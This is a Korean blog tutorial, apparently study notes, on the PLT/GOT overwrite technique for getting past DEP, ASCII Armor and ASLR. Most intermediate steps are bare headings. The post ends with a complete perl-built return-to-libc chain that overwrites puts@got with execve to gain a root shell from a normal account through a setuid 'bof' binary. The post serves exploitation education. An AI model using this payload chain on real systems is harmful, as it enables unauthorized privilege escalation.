PLT & GOT Overwrite란
: PLT & GOT Overwrite는 Dynamic Link 방식으로 컴파일된 바이너리가 공유 라이브러리를 호출할 때 사용되는 PLT & GOT를 이용하는 공격 기법으로 DEP, ASCII Armor, ASLR의 메모리 보호 기법을 우회하기 위해 사용한다
PLT & GOT Overwrite 원리
: PLT는 GOT를 가리키고 GOT에는 함수의 실제 주소가 들어있는데 이 GOT의 값을 원하는 함수의 실제 주소로 변조시킨다면 원래의 함수가 아닌 변조한 함수를 PLT가 호출할 것이다
PLT & GOT Overwrite 순서
1. Chaining RTL Calls 알기
2. root권한의 취약한 코드 작성
3. 일반 계정에서 root권한 획득하는 공격 코드 작성
4. EBP까지의 거리확인
5. strcpy의 PLT와 puts의 PLT & GOT 확인
6. 공격용 호출 함수 execve 함수의 주소 확인
7. Chaining RTL Calls 확인
8. BSS의 주소 공간 확인
9. 필요한 주소들 정리
10. 필요한 값이 저장된 주소 공간 찾기
11. 공격 코드 작성
1. Chaining RTL Calls 알기
연속적으로 RTL을 실행하는 기법으로 인자 갯수에 따라 pop과 ret 명령어를 이용하여 사용하는 것으로 strcpy 함수와 같이 인자를 2개 사용하는 경우에는 pop-pop-ret을 사용하여 연속적으로 함수를 호출하여 메모리 위에 덮어 씌우는 기법이다
2. root권한의 취약한 코드 작성
3. 일반 계정에서 root권한 획득하는 공격 코드 작성
4. EBP까지의 거리확인
5. strcpy의 PLT와 puts의 PLT & GOT 확인
6. 공격용 호출 함수 execve 함수의 주소 확인
7. Chaining RTL Calls 확인
8. BSS의 주소 공간 확인
9. 필요한 주소들 정리
10. 필요한 값이 저장된 주소 공간 찾기
execve - 0x43814550
11. 공격 코드 작성
순서
1) execve를 puts@got자리에 복사
2) /tmp/sh0을 BSS에 복사
3) puts@plt를 통해 execve 호출 및 BSS에 저장된 인자 전달
4) 공격 코드를 개행 없이 붙여서 취약한 함수가 들어있는 파일에 인자로 전달
아래 코드를 개행 없이 이어 붙여서 인자로 넣어주면 잘 동작하는걸 확인할 수 있다
./bof "`perl -e 'print "A"x112,
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x10\xa0\x04\x08", "\x18\x80\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x11\xa0\x04\x08", "\x01\x80\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x12\xa0\x04\x08", "\x5d\x80\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x13\xa0\x04\x08", "\x77\x82\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x30\xa0\x04\x08", "\x54\x81\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x31\xa0\x04\x08", "\xf6\x80\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x32\xa0\x04\x08", "\x5f\x82\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x33\xa0\x04\x08", "\x4a\x82\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x34\xa0\x04\x08", "\x54\x81\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x35\xa0\x04\x08", "\x62\x81\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x36\xa0\x04\x08", "\xd8\x80\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x37\xa0\x04\x08", "\x07\x80\x04\x08",
"\x20\x83\x04\x08", "AAAA", "\x30\xa0\x04\x08", "\x07\x80\x04\x08"x2'`"
'시스템 해킹' 카테고리의 다른 글
Format String Bug (1) | 2020.11.11 |
---|---|
Heap Buffer Overflow (0) | 2020.11.11 |
CANARY (0) | 2020.11.10 |
ASCII Armor (0) | 2020.11.10 |
ASLR ( Address Space Layout Randomization ) (0) | 2020.11.10 |